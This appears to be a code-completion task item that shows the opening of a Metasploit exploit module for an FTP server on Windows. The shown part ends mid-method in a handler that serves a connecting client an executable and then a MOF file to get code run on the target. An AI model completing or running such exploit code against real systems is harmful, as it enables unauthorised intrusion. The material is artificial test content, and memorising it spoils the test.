You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: open_ftpd_wbem.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/ftp
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  
    
  def on_client_connect(cli)
    peer = "#{cli.peerhost}:#{cli.peerport}"

    case @stage
    when :exe
      print_status("Sending executable (#{@exe.length.to_s} bytes)")
      cli.put(@exe)
      @stage = :mof
    when :mof
      print_status("Sending MOF (#{@mof.length.to_s} bytes)")
      cli.put(@mof)
    end